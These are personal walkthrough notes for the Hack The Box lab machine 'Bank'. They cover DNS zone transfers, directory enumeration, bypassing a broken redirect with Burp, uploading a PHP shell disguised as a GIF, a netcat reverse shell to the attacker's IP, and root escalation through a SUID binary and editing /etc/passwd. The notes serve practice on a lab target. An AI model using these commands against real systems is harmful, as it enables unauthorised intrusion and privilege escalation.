Lin: Bank

```
nmap -sC -sV -oA nmap 10.10.10.29
```

Dns-server :

Usually udp unless response is bigger than 512 bytes , this happens only in dns zone transfers and rare cases in dns6 or ipv6.

When you see a dns server on 53/TCP usually look into dns zone transfers

Poking at the DNS :

1- nslookup

```
>SERVER 10.10.10.29
# to change it to the base DNS

>127.0.0.1
# see if the host name exposes someone

>10.10.10.29
# reverse lookups might be enabled

>bank.htb
# responded to this
```

2- dns recon : does reverse lookup on a range, given range and dns server

```
dnsrecon -r 127.0.0.0/24 -n 10.10.10.29
dnsrecon -r 127.0.1.0/24 -n 10.10.10.29
Dnsrecon -r 10.10.10.0/24 -n 10.10.10.29
```

3- dig : does dns zone transfers

```
dig axfr @10.10.10.29
dig axfr bank.htb @10.10.10.29
```

# axfr are the flags to do zone transfers , bank.htb is specifying the zone

Modifying the dns :

1- modify /etc/hosts
2- modify /etc/resolv.conf

Virtual host routing :

Checks the host header and redirects the the page accordingly
Example here : 10.10.10.29 vs bank.htb

Directory Enumeration :

Try dirsearch
https://github.com/maurosoria/dirsearch

```
Python3 dirsearch.py -w /usr/share/wordlist/dirbuster/<<usually use medium>> -e php -f -t
```

20 -u http://bank.htb

It is odd to see 7 kb php files on a redirect 302

Improper redirect : sends the webpage and the correct content and makes the redirect on the browser's side
Intercept with burp
Inside burp —> proxy —> options —> intercept requests.
Change the status to 200 OK

TO automatically change all responses in the proxy —> options —> match and replace

To download all files in a webpage :

```
Wget -r http://bank.htb/balance-transfer/
```

After the download

```
wc -c *.acc | sort n -r
```

Another way is using burp pro
Add folder to scope in target tab
Right click : Spider this branch
Filter by : regex —> negative search

Uploading a shell :

Use a .gif image
Intercept with burp
Leave magic bytes of the gif image —> incase it uses them to verify the type of the file
Quick php shell
skjs

Reverse shell :

```
# inside your terminal
nc -lnvp <port>

# inside the php shell
nc -e /bin/sh <your ip addr > <port>
nc -e /bin/sh 10.10.14.32 12347

# after you get a shell —> get prompt
python -c 'import  pty; pty.spawn("/bin/bash");'


# this gets a tab on completion after getting shell
stty raw -echo
fg              --> wont be able to see this

# to be able to clear
echo $TERM                 —> inside your shell , lets say you get screen
export TERM=screen
```

Privilege Escalation :

First thing to try is

```
grep -R 'Encrypt' . | grep -v balance-transfer
```

```
# because on their files they used encrypt in their password files
# -v to exclude their balance transfer
```

You get no results and the encryption in this machine is a rabbit whole

Checking on of the php files : user.php
We can find the credentials to mysql root

```
mysql -u root -p
```

Inside mysql to get shell

```
\! /bin/sh
```

But we don’t escalate as root but sometime you get lucky and get in as root

Next cat /etc/passwd
Finding users and perhaps encrypted passwords

Next thing to do is enumerations scripts :
Hide them inside /dev/shm

Download three enumeration scripts:
LinEnum.sh
Linuxprivchecker.py
Unixprivsec.sh

Upload them with

```
python -m SimpleHTTPServer
Wget -r <your ip>:8000
```

Check cronjobs if you have any write privileges to any of them

Check listening sockets

Check Interesting files

Check If you have write access to sensitive files

```
find -perm 4000 2> /dev/null
#To find files that has setups bit set (Stickybit)
```

Found
/var/backups/bin
./emergency —> executed as root
Running this gets us a root shell as euid = 0

Another way is editing /etc/passwd

```
Openssl passwd ahmed
# generates an encrypted password
```

Add password to roots section instead of the x